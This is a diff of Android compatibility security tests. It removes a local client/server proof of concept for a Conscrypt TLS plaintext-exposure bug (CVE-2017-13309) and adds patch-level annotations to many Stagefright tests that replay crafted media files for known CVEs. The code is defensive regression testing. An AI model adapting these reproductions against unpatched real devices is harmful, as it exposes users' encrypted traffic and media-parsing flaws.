-    clientKey = SSLConscryptPlainTextExposureTest.getResource(R.raw.cve_2017_13309_client);
-    trustedCert = SSLConscryptPlainTextExposureTest.getResource(R.raw.cve_2017_13309_trustedcert);
-
-    try {
-      ks = KeyStore.getInstance(KeyStore.getDefaultType());
-    } catch (KeyStoreException e) {
-      e.printStackTrace();
-    }
-    KeyStore ts = null;
-    try {
-      ts = KeyStore.getInstance(KeyStore.getDefaultType());
-    } catch (KeyStoreException e) {
-      e.printStackTrace();
-    }
-
-    try {
-      ks.load(clientKey, "pocclient".toCharArray());
-    } catch (Exception e) {
-      e.printStackTrace();
-    }
-
-    try {
-      ts.load(trustedCert, "trusted".toCharArray());
-    } catch (Exception e) {
-      e.printStackTrace();
-    }
-
-    KeyManagerFactory kmf = null;
-    try {
-      kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
-    } catch (NoSuchAlgorithmException e) {
-      e.printStackTrace();
-    }
-
-    try {
-      kmf.init(ks, "keypass".toCharArray());
-    } catch (Exception e) {
-      e.printStackTrace();
-    }
-
-    TrustManagerFactory tmf = null;
-    try {
-      tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
-    } catch (NoSuchAlgorithmException e) {
-      e.printStackTrace();
-    }
-    try {
-      tmf.init(ts);
-    } catch (KeyStoreException e) {
-      e.printStackTrace();
-    }
-
-    SSLContext sslCtx = null;
-    try {
-      sslCtx = SSLContext.getInstance("TLSv1.2");
-    } catch (NoSuchAlgorithmException e) {
-      e.printStackTrace();
-    }
-
-    try {
-      sslCtx.init(kmf.getKeyManagers(), tmf.getTrustManagers(), null);
-    } catch (KeyManagementException e) {
-      e.printStackTrace();
-    }
-
-    sslc = sslCtx;
-
-    clientEngine = sslc.createSSLEngine(remoteAddress, port);
-    clientEngine.setUseClientMode(true);
-    SSLSession session = clientEngine.getSession();
-
-    hsOutAppBuffer = ByteBuffer.allocate(4096);
-    hsOutNetBuffer = ByteBuffer.allocate(session.getPacketBufferSize());
-    hsInAppBuffer = ByteBuffer.allocate(4096);
-    hsInNetBuffer = ByteBuffer.allocate(session.getPacketBufferSize());
-    dataOutNetBuffer = ByteBuffer.allocate(session.getPacketBufferSize());
-
-    try {
-      socketChannel = SocketChannel.open();
-    } catch (IOException e) {
-      e.printStackTrace();
-    }
-    try {
-      socketChannel.configureBlocking(false);
-    } catch (IOException e) {
-      e.printStackTrace();
-    }
-    try {
-      socketChannel.connect(new InetSocketAddress(remoteAddress, port));
-    } catch (IOException e) {
-      e.printStackTrace();
-    }
-
-    try {
-      while(!socketChannel.finishConnect()) {
-      }
-    } catch (IOException e) {
-      e.printStackTrace();
-    }
-
-    try {
-      clientEngine.beginHandshake();
-    } catch (SSLException e) {
-      e.printStackTrace();
-    }
-
-    try {
-      isHandshaked = doHandshake(socketChannel, clientEngine);
-    } catch (IOException e) {
-      e.printStackTrace();
-    }
-
-    if(isHandshaked) {
-      dataOutAppBuffers[0] = ByteBuffer.wrap("PLAIN TEXT EXPOSED".getBytes());
-      dataOutAppBuffers[1] = ByteBuffer.wrap("PLAIN TEXT EXPOSED".getBytes());
-      dataOutAppBuffers[2] = ByteBuffer.wrap("PLAIN TEXT EXPOSED".getBytes());
-
-      while(dataOutAppBuffers[0].hasRemaining() || dataOutAppBuffers[1].hasRemaining() || dataOutAppBuffers[2].hasRemaining()) {
-        dataOutNetBuffer.clear();
-        SSLEngineResult result = null;
-        try {
-          result = clientEngine.wrap(dataOutAppBuffers, 0, 3, dataOutNetBuffer);
-        } catch (SSLException e) {
-          e.printStackTrace();
-        }
-        switch(result.getStatus()) {
-          case OK:
-            dataOutNetBuffer.flip();
-            String outbuff = new String("");
-            Formatter formatter = new Formatter();
-            for(int i = 0; i < dataOutNetBuffer.limit(); i++) {
-              outbuff += formatter.format("%02x ", dataOutNetBuffer.get(i)).toString();
-            }
-            String output = new String(dataOutNetBuffer.array());
-            SSLConscryptPlainTextExposureTest.setOutput(output);
-            break;
-          case BUFFER_OVERFLOW:
-            dataOutNetBuffer = enlargePacketBuffer(clientEngine, dataOutNetBuffer);
-            break;
-          case BUFFER_UNDERFLOW:
-            try {
-              throw new SSLException("Buffer underflow in sending data");
-            } catch (SSLException e) {
-              e.printStackTrace();
-            }
-          case CLOSED:
-            try {
-              closeConnection(socketChannel, clientEngine);
-            } catch (IOException e) {
-              e.printStackTrace();
-            }
-            return;
-          default:
-            throw new IllegalStateException("Invalid SSL status: " + result.getStatus());
-        }
-      }
-    }
-
-    try {
-      clientKey.close();
-    } catch (IOException e){
-      e.printStackTrace();
-    }
-
-    try{
-      trustedCert.close();
-    } catch (IOException e){
-      e.printStackTrace();
-    }
-
-    try {
-      shutdown();
-    } catch (IOException e) {
-      e.printStackTrace();
-    }
-  }
-
-  public void shutdown() throws IOException {
-    closeConnection(socketChannel, clientEngine);
-    executor.shutdown();
-  }
-
-  public void closeConnection(SocketChannel socketChannel, SSLEngine engine) throws IOException {
-    engine.closeOutbound();
-    doHandshake(socketChannel, engine);
-    socketChannel.close();
-  }
-
-  public boolean doHandshake(SocketChannel socketChannel, SSLEngine engine) throws IOException {
-    SSLEngineResult result;
-    SSLEngineResult.HandshakeStatus handshakeStatus;
-    int appBufferSize = engine.getSession().getApplicationBufferSize();
-
-    ByteBuffer srcAppData = ByteBuffer.allocate(appBufferSize);
-    ByteBuffer dstAppData = ByteBuffer.allocate(appBufferSize);
-
-    srcAppData.clear();
-    dstAppData.clear();
-
-    handshakeStatus = engine.getHandshakeStatus();
-    while (handshakeStatus != SSLEngineResult.HandshakeStatus.FINISHED
-        && handshakeStatus != SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING) {
-      switch(handshakeStatus) {
-        case NEED_UNWRAP:
-          if(socketChannel.read(hsInNetBuffer) < 0) {
-            if(engine.isInboundDone() && engine.isOutboundDone()) {
-              return false;
-            }
-            try {
-              engine.closeInbound();
-            } catch (SSLException e) {
-              Log.e("poc-test","Forced to close inbound. No proper SSL/TLS close notification message from peer");
-            }
-            engine.closeOutbound();
-            handshakeStatus = engine.getHandshakeStatus();
-            break;
-          }
-          hsInNetBuffer.flip();
-          try {
-            result = engine.unwrap(hsInNetBuffer, hsInAppBuffer);
-            hsInNetBuffer.compact();
-            handshakeStatus = result.getHandshakeStatus();
-          } catch (SSLException sslException) {
-            engine.closeOutbound();
-            handshakeStatus = engine.getHandshakeStatus();
-            break;
-          }
-          switch(result.getStatus()) {
-            case OK:
-              break;
-            case BUFFER_OVERFLOW:
-              hsInAppBuffer = enlargeApplicationBuffer(engine, hsInAppBuffer);
-              break;
-            case BUFFER_UNDERFLOW:
-              hsInNetBuffer = handleBufferUnderflow(engine, hsInNetBuffer);
-              break;
-            case CLOSED:
-              if (engine.isOutboundDone()) {
-                return false;
-              } else {
-                engine.closeOutbound();
-                handshakeStatus = engine.getHandshakeStatus();
-                break;
-              }
-            default:
-              throw new IllegalStateException("Invalid SSL status: " + result.getStatus());
-          }
-        case NEED_WRAP:
-          hsOutNetBuffer.clear();
-          try {
-            result = engine.wrap(hsOutAppBuffer, hsOutNetBuffer);
-            handshakeStatus = result.getHandshakeStatus();
-          } catch (SSLException sslException) {
-            engine.closeOutbound();
-            handshakeStatus = engine.getHandshakeStatus();
-            break;
-          }
-          switch(result.getStatus()) {
-            case OK:
-              hsOutNetBuffer.flip();
-              while(hsOutNetBuffer.hasRemaining()) {
-                socketChannel.write(hsOutNetBuffer);
-              }
-              break;
-            case BUFFER_OVERFLOW:
-              hsOutNetBuffer = enlargePacketBuffer(engine, hsOutNetBuffer);
-              break;
-            case BUFFER_UNDERFLOW:
-              throw new SSLException("Buffer underflow in handshake and wrap");
-            case CLOSED:
-              try {
-                hsOutNetBuffer.flip();
-                while(hsOutNetBuffer.hasRemaining()) {
-                  socketChannel.write(hsOutNetBuffer);
-                }
-                hsInNetBuffer.clear();
-              } catch (Exception e) {
-                handshakeStatus = engine.getHandshakeStatus();
-              }
-              break;
-            default:
-              throw new IllegalStateException("Invalid SSL status: " + result.getStatus());
-          }
-          break;
-        case NEED_TASK:
-          Runnable task;
-          while((task = engine.getDelegatedTask()) != null) {
-            executor.execute(task);
-          }
-          handshakeStatus = engine.getHandshakeStatus();
-          break;
-        case FINISHED:
-          break;
-        case NOT_HANDSHAKING:
-          break;
-        default:
-          throw new IllegalStateException("Invalid SSL status: " + handshakeStatus);
-      }
-        }
-    return true;
-  }
-
-  public ByteBuffer enlargePacketBuffer(SSLEngine engine, ByteBuffer buffer) {
-    return enlargeBuffer(buffer, engine.getSession().getPacketBufferSize());
-  }
-
-  public ByteBuffer enlargeApplicationBuffer(SSLEngine engine, ByteBuffer buffer) {
-    return enlargeBuffer(buffer, engine.getSession().getApplicationBufferSize());
-  }
-
-  public ByteBuffer enlargeBuffer(ByteBuffer buffer, int bufferSize) {
-    if(bufferSize > buffer.capacity()) {
-      buffer = ByteBuffer.allocate(bufferSize);
-    }
-    else {
-      buffer = ByteBuffer.allocate(buffer.capacity() * 2);
-    }
-    return buffer;
-  }
-  public ByteBuffer handleBufferUnderflow(SSLEngine engine, ByteBuffer buffer) {
-    if(engine.getSession().getPacketBufferSize() < buffer.limit()) {
-      return buffer;
-    }
-    else {
-      ByteBuffer replaceBuffer = enlargePacketBuffer(engine, buffer);
-      buffer.flip();
-      replaceBuffer.put(buffer);
-      return replaceBuffer;
-    }
-  }
-}
-
-class TestSSLServer {
-
-  public ServerRunnable serverRunnable;
-  Thread server;
-
-  public TestSSLServer() {
-    serverRunnable = new ServerRunnable();
-    server = new Thread(serverRunnable);
-    server.start();
-
-    try{
-      Thread.sleep(1000);
-    }catch(InterruptedException e){
-      e.printStackTrace();
-    }
-  }
-
-  protected void onCancelled(String result) {
-    serverRunnable.stop();
-  }
-}
-
-class ServerRunnable implements Runnable {
-
-  SSLServer server;
-  InputStream serverKey = null;
-  InputStream trustedCert = null;
-
-  public void run() {
-    try {
-      server = new SSLServer();
-      server.runServer();
-    }
-    catch (Exception e) {
-      e.printStackTrace();
-    }
-  }
-
-  public void stop() {
-    server.stopServer();
-  }
-}
-
-class SSLServer {
-  public SSLContext serverContext;
-
-  public ByteBuffer hsInAppBuffer, hsInNetBuffer, hsOutAppBuffer, hsOutNetBuffer;
-  public ByteBuffer dataInAppBuffer, dataInNetBuffer;
-
-  final String hostAddress = "127.0.0.1";
-  public int port = 7000;
-  public boolean bActive = false;
-
-  public Selector selector;
-  InputStream serverKey = null;
-  InputStream trustedCert = null;
-  public ExecutorService executor = Executors.newSingleThreadExecutor();
-
-  public void stopServer() {
-    bActive = false;
-    executor.shutdown();
-    selector.wakeup();
-  }
-
-  public void runServer() {
-    KeyStore ks = null;
-
-    serverKey = SSLConscryptPlainTextExposureTest.getResource(R.raw.cve_2017_13309_server);
-    trustedCert = SSLConscryptPlainTextExposureTest.getResource(R.raw.cve_2017_13309_trustedcert);
-
-    try {
-      ks = KeyStore.getInstance(KeyStore.getDefaultType());
-    } catch (KeyStoreException e) {
-      e.printStackTrace();
-    }
-    KeyStore ts = null;
-    try {
-      ts = KeyStore.getInstance(KeyStore.getDefaultType());
-    } catch (KeyStoreException e) {
-      e.printStackTrace();
-    }
-
-    try {
-      ks.load(serverKey, "pocserver".toCharArray());
-    } catch (Exception e) {
-      e.printStackTrace();
-    }
-    try {
-      ts.load(trustedCert, "trusted".toCharArray());
-    } catch (Exception e) {
-      e.printStackTrace();
-    }
-
-    KeyManagerFactory kmf = null;
-    try {
-      kmf = KeyManagerFactory.getInstance(KeyManagerFactory.getDefaultAlgorithm());
-    } catch (NoSuchAlgorithmException e) {
-      e.printStackTrace();
-    }
-    try {
-      kmf.init(ks, "keypass".toCharArray());
-    } catch (Exception e) {
-      e.printStackTrace();
-    }
-
-    TrustManagerFactory tmf = null;
-    try {
-      tmf = TrustManagerFactory.getInstance(TrustManagerFactory.getDefaultAlgorithm());
-    } catch (NoSuchAlgorithmException e) {
-      e.printStackTrace();
-    }
-    try {
-      tmf.init(ts);
-    } catch (KeyStoreException e) {
-      e.printStackTrace();
-    }
-
-    SSLContext sslCtx = null;
-    try {
-      sslCtx = SSLContext.getInstance("TLSv1.2");
-    } catch (NoSuchAlgorithmException e) {
-      e.printStackTrace();
-    }
-
-    try {
-      sslCtx.init(kmf.getKeyManagers(), tmf.getTrustManagers(), new SecureRandom());
-    } catch (KeyManagementException e) {
-      e.printStackTrace();
-    }
-
-    serverContext = sslCtx;
-
-    SSLSession dummySession = serverContext.createSSLEngine().getSession();
-
-    hsInAppBuffer = ByteBuffer.allocate(4096);
-    hsInNetBuffer = ByteBuffer.allocate(dummySession.getPacketBufferSize());
-    hsOutAppBuffer = ByteBuffer.allocate(4096);
-    hsOutNetBuffer = ByteBuffer.allocate(dummySession.getPacketBufferSize());
-    dataInAppBuffer = ByteBuffer.allocate(4096);
-    dataInNetBuffer = ByteBuffer.allocate(dummySession.getPacketBufferSize());
-    dummySession.invalidate();
-
-    try {
-      selector = SelectorProvider.provider().openSelector();
-    } catch (IOException e) {
-      e.printStackTrace();
-    }
-    ServerSocketChannel serverSocketChannel = null;
-    try {
-      serverSocketChannel = ServerSocketChannel.open();
-    } catch (IOException e) {
-      e.printStackTrace();
-    }
-    try {
-      serverSocketChannel.configureBlocking(false);
-    } catch (IOException e) {
-      e.printStackTrace();
-    }
-    try {
-      serverSocketChannel.socket().bind(new InetSocketAddress(hostAddress, port));
-    } catch (IOException e) {
-      e.printStackTrace();
-    }
-    try {
-      serverSocketChannel.register(selector, SelectionKey.OP_ACCEPT);
-    } catch (ClosedChannelException e) {
-      e.printStackTrace();
-    }
-
-    bActive = true;
-
-    while(bActive) {
-      try {
-        selector.select();
-      } catch (IOException e) {
-        e.printStackTrace();
-      }
-      Iterator<SelectionKey> selectedKeys = selector.selectedKeys().iterator();
-      while (selectedKeys.hasNext()) {
-        SelectionKey key = selectedKeys.next();
-        selectedKeys.remove();
-        if (!key.isValid()) {
-          continue;
-        }
-        if (key.isAcceptable()) {
-          try {
-            accept(key);
-          } catch (Exception e) {
-            e.printStackTrace();
-          }
-        } else if (key.isReadable()) {
-          try {
-            read((SocketChannel) key.channel(), (SSLEngine) key.attachment());
-          } catch (IOException e) {
-            e.printStackTrace();
-          }
-        }
-      }
-    }
-  }
-
-  public void accept(SelectionKey key) throws Exception{
-    SocketChannel socketChannel = ((ServerSocketChannel)key.channel()).accept();
-    socketChannel.configureBlocking(false);
-
-    SSLEngine engine = serverContext.createSSLEngine();
-    engine.setUseClientMode(false);
-    engine.beginHandshake();
-
-    socketChannel.register(selector, SelectionKey.OP_READ, engine);
-
-    if(doHandshake(socketChannel, engine)) {
-      socketChannel.register(selector, SelectionKey.OP_READ, engine);
-    }
-    else {
-      socketChannel.close();
-    }
-  }
-
-  public boolean doHandshake(SocketChannel socketChannel, SSLEngine engine) throws IOException {
-    SSLEngineResult result = null;
-    SSLEngineResult.HandshakeStatus handshakeStatus;
-    int appBufferSize = engine.getSession().getApplicationBufferSize();
-
-    ByteBuffer srcAppData = ByteBuffer.allocate(appBufferSize);
-    ByteBuffer dstAppData = ByteBuffer.allocate(appBufferSize);
-
-    srcAppData.clear();
-    dstAppData.clear();
-
-    handshakeStatus = engine.getHandshakeStatus();
-    while (handshakeStatus != SSLEngineResult.HandshakeStatus.FINISHED
-        && handshakeStatus != SSLEngineResult.HandshakeStatus.NOT_HANDSHAKING) {
-
-      switch(handshakeStatus) {
-        case NEED_UNWRAP:
-          if(socketChannel.read(hsInNetBuffer) < 0) {
-            if(engine.isInboundDone() && engine.isOutboundDone()) {
-              return false;
-            }
-            try {
-              engine.closeInbound();
-            } catch (SSLException e) {
-              Log.e("server-poc-test","Forced to close inbound. No proper SSL/TLS close notification message from peer");
-            }
-            engine.closeOutbound();
-            handshakeStatus = engine.getHandshakeStatus();
-            break;
-          }
-          hsInNetBuffer.flip();
-          try {
-            result = engine.unwrap(hsInNetBuffer, hsInAppBuffer);
-            hsInNetBuffer.compact();
-            handshakeStatus = result.getHandshakeStatus();
-          } catch (SSLException sslException) {
-            engine.closeOutbound();
-            handshakeStatus = engine.getHandshakeStatus();
-            break;
-          }
-          switch(result.getStatus()) {
-            case OK:
-              break;
-            case BUFFER_OVERFLOW:
-              hsInAppBuffer = enlargeApplicationBuffer(engine, hsInAppBuffer);
-              break;
-            case BUFFER_UNDERFLOW:
-              hsInNetBuffer = handleBufferUnderflow(engine, hsInNetBuffer);
-              break;
-            case CLOSED:
-              if (engine.isOutboundDone()) {
-                return false;
-              } else {
-                engine.closeOutbound();
-                handshakeStatus = engine.getHandshakeStatus();
-                break;
-              }
-            default:
-              throw new IllegalStateException("Invalid SSL status: " + result.getStatus());
-          }
-        case NEED_WRAP:
-          hsOutNetBuffer.clear();
-          try {
-            result = engine.wrap(hsOutAppBuffer, hsOutNetBuffer);
-            handshakeStatus = result.getHandshakeStatus();
-          } catch (SSLException sslException) {
-            engine.closeOutbound();
-            handshakeStatus = engine.getHandshakeStatus();
-            break;
-          }
-          switch(result.getStatus()) {
-            case OK:
-              hsOutNetBuffer.flip();
-              while(hsOutNetBuffer.hasRemaining()) {
-                socketChannel.write(hsOutNetBuffer);
-              }
-              break;
-            case BUFFER_OVERFLOW:
-              hsOutNetBuffer = enlargePacketBuffer(engine, hsOutNetBuffer);
-              break;
-            case BUFFER_UNDERFLOW:
-              throw new SSLException("Buffer underflow in handshake and wrap");
-            case CLOSED:
-              try {
-                hsOutNetBuffer.flip();
-                while(hsOutNetBuffer.hasRemaining()) {
-                  socketChannel.write(hsOutNetBuffer);
-                }
-                hsInNetBuffer.clear();
-              } catch (Exception e) {
-                handshakeStatus = engine.getHandshakeStatus();
-              }
-              break;
-            default:
-              throw new IllegalStateException("Invalid SSL status: " + result.getStatus());
-          }
-          break;
-        case NEED_TASK:
-          Runnable task;
-          while((task = engine.getDelegatedTask()) != null) {
-            executor.execute(task);
-          }
-          handshakeStatus = engine.getHandshakeStatus();
-          break;
-        case FINISHED:
-          break;
-        case NOT_HANDSHAKING:
-          break;
-        default:
-          throw new IllegalStateException("Invalid SSL status: " + handshakeStatus);
-      }
-        }
-    return true;
-  }
-
-  public ByteBuffer enlargePacketBuffer(SSLEngine engine, ByteBuffer buffer) {
-    return enlargeBuffer(buffer, engine.getSession().getPacketBufferSize());
-  }
-
-  public ByteBuffer enlargeApplicationBuffer(SSLEngine engine, ByteBuffer buffer) {
-    return enlargeBuffer(buffer, engine.getSession().getApplicationBufferSize());
-  }
-
-  public ByteBuffer enlargeBuffer(ByteBuffer buffer, int bufferSize) {
-    if(bufferSize > buffer.capacity()) {
-      buffer = ByteBuffer.allocate(bufferSize);
-    }
-    else {
-      buffer = ByteBuffer.allocate(buffer.capacity() * 2);
-    }
-    return buffer;
-  }
-  public ByteBuffer handleBufferUnderflow(SSLEngine engine, ByteBuffer buffer) {
-    if(engine.getSession().getPacketBufferSize() < buffer.limit()) {
-      return buffer;
-    }
-    else {
-      ByteBuffer replaceBuffer = enlargePacketBuffer(engine, buffer);
-      buffer.flip();
-      replaceBuffer.put(buffer);
-      return replaceBuffer;
-    }
-  }
-
-  public void read(SocketChannel socketChannel, SSLEngine engine) throws IOException {
-    dataInNetBuffer.clear();
-    int bytesRead = socketChannel.read(dataInNetBuffer);
-    if(bytesRead > 0) {
-      dataInNetBuffer.flip();
-      while(dataInNetBuffer.hasRemaining()) {
-        dataInAppBuffer.clear();
-        SSLEngineResult result = engine.unwrap(dataInNetBuffer, dataInAppBuffer);
-        switch(result.getStatus()) {
-          case OK:
-            dataInAppBuffer.flip();
-            break;
-          case BUFFER_OVERFLOW:
-            dataInAppBuffer = enlargeApplicationBuffer(engine, dataInAppBuffer);
-            break;
-          case BUFFER_UNDERFLOW:
-            dataInNetBuffer = handleBufferUnderflow(engine, dataInNetBuffer);
-            break;
-          case CLOSED:
-            closeConnection(socketChannel, engine);
-            return;
-          default:
-            throw new IllegalStateException("invalid SSL status: " + result.getStatus());
-        }
-      }
-    }
-    else if(bytesRead < 0) {
-      handleEndOfStream(socketChannel, engine);
-    }
-  }
-
-  public void handleEndOfStream(SocketChannel socketChannel, SSLEngine engine) throws IOException {
-    try {
-      engine.closeInbound();
-    }
-    catch (Exception e) {
-      Log.e("server-poc-test", "Close inbound forced");
-    }
-    closeConnection(socketChannel, engine);
-  }
-
-  public void closeConnection(SocketChannel socketChannel, SSLEngine engine) throws IOException {
-    try{
-      serverKey.close();
-    } catch (IOException e){
-      e.printStackTrace();
-    }
-
-    try {
-      trustedCert.close();
-    } catch (IOException e){
-      e.printStackTrace();
-    }
-
-    engine.closeOutbound();
-    doHandshake(socketChannel, engine);
-    socketChannel.close();
-  }
-}
diff --git a/tests/tests/security/src/android/security/cts/StagefrightTest.java b/tests/tests/security/src/android/security/cts/StagefrightTest.java
index 8e8b0c2..3573e03 100644
--- a/tests/tests/security/src/android/security/cts/StagefrightTest.java
+++ b/tests/tests/security/src/android/security/cts/StagefrightTest.java
@@ -51,13 +51,19 @@
 
 import java.io.BufferedInputStream;
 import java.io.BufferedReader;
-import java.io.File;
 import java.io.FileInputStream;
 import java.io.FileReader;
 import java.io.IOException;
 import java.io.InputStream;
 import java.net.URL;
 import java.nio.ByteBuffer;
+import java.io.FileOutputStream;
+import java.io.ObjectInputStream;
+import java.io.OutputStream;
+import java.io.InputStream;
+import java.net.Socket;
+import java.net.ServerSocket;
+import java.io.File;
 import java.util.ArrayList;
 import java.util.HashMap;
 import java.util.concurrent.locks.Condition;
@@ -90,169 +96,177 @@
      before any existing test methods
      ***********************************************************/
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2019-04")
+    public void testStagefright_cve_2019_2244() throws Exception {
+        doStagefrightTestRawBlob(R.raw.cve_2019_2244, "video/mpeg2", 320, 420);
+    }
+
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_bug_36725407() throws Exception {
         doStagefrightTest(R.raw.bug_36725407);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-08")
     public void testStagefright_cve_2016_3829() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3829);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_cve_2017_0643() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0643);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_cve_2017_0728() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0728);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-10")
     public void testStagefright_bug_62187433() throws Exception {
         doStagefrightTest(R.raw.bug_62187433);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefrightANR_bug_62673844() throws Exception {
         doStagefrightTestANR(R.raw.bug_62673844);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_37079296() throws Exception {
         doStagefrightTest(R.raw.bug_37079296);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_bug_38342499() throws Exception {
         doStagefrightTest(R.raw.bug_38342499);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_bug_22771132() throws Exception {
         doStagefrightTest(R.raw.bug_22771132);
     }
 
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_bug_21443020() throws Exception {
         doStagefrightTest(R.raw.bug_21443020_webm);
     }
 
+    @SecurityTest(minPatchLevel = "2018-03")
     public void testStagefright_bug_34360591() throws Exception {
         doStagefrightTest(R.raw.bug_34360591);
     }
 
+    @SecurityTest(minPatchLevel = "2017-06")
     public void testStagefright_bug_35763994() throws Exception {
         doStagefrightTest(R.raw.bug_35763994);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_bug_33137046() throws Exception {
         doStagefrightTest(R.raw.bug_33137046);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2016_2507() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2507);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-03")
     public void testStagefright_bug_31647370() throws Exception {
         doStagefrightTest(R.raw.bug_31647370);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-01")
     public void testStagefright_bug_32577290() throws Exception {
         doStagefrightTest(R.raw.bug_32577290);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2015_1538_1() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_1);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2015_1538_2() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_2);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2015_1538_3() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_3);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2015_1538_4() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1538_4);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-07")
     public void testStagefright_cve_2015_1539() throws Exception {
         doStagefrightTest(R.raw.cve_2015_1539);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3824() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3824);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3826() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3826);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3827() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3827);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3828() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3828);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3829() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3829);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3836() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3836);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3864() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-01")
     public void testStagefright_cve_2015_3864_b23034759() throws Exception {
         doStagefrightTest(R.raw.cve_2015_3864_b23034759);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2015-10")
     public void testStagefright_cve_2015_6598() throws Exception {
         doStagefrightTest(R.raw.cve_2015_6598);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-12")
     public void testStagefright_cve_2016_6766() throws Exception {
         doStagefrightTest(R.raw.cve_2016_6766);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-04")
     public void testStagefright_bug_26366256() throws Exception {
         doStagefrightTest(R.raw.bug_26366256);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-02")
     public void testStagefright_cve_2016_2429_b_27211885() throws Exception {
         doStagefrightTest(R.raw.cve_2016_2429_b_27211885);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-08")
     public void testStagefright_bug_34031018() throws Exception {
         doStagefrightTest(R.raw.bug_34031018_32bit);
         doStagefrightTest(R.raw.bug_34031018_64bit);
@@ -263,32 +277,32 @@
      before any existing test methods
      ***********************************************************/
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_bug_65123471() throws Exception {
         doStagefrightTest(R.raw.bug_65123471);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-04")
     public void testStagefright_bug_72165027() throws Exception {
         doStagefrightTest(R.raw.bug_72165027);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-06")
     public void testStagefright_bug_65483665() throws Exception {
         doStagefrightTest(R.raw.bug_65483665);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-01")
     public void testStagefright_cve_2017_0852_b_62815506() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0852_b_62815506);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-02")
     public void testStagefright_cve_2017_13229() throws Exception {
         doStagefrightTest(R.raw.cve_2017_13229);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
     public void testStagefright_cve_2017_0763() throws Exception {
         doStagefrightTest(R.raw.cve_2017_0763);
     }
@@ -298,430 +312,489 @@
      before any existing test methods
      ***********************************************************/
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-06")
     public void testBug_73965890() throws Exception {
         int[] frameSizes = getFrameSizes(R.raw.bug_73965890_framelen);
         doStagefrightTestRawBlob(R.raw.bug_73965890_hevc, "video/hevc", 320, 240, frameSizes);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2016-10")
     public void testStagefright_cve_2016_3920() throws Exception {
         doStagefrightTest(R.raw.cve_2016_3920);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2018-06")
     public void testStagefright_bug_68953854() throws Exception {
         doStagefrightTest(R.raw.bug_68953854, 1 * 60 * 1000);
     }
 
-    @SecurityTest
+    @SecurityTest(minPatchLevel = "2017-09")
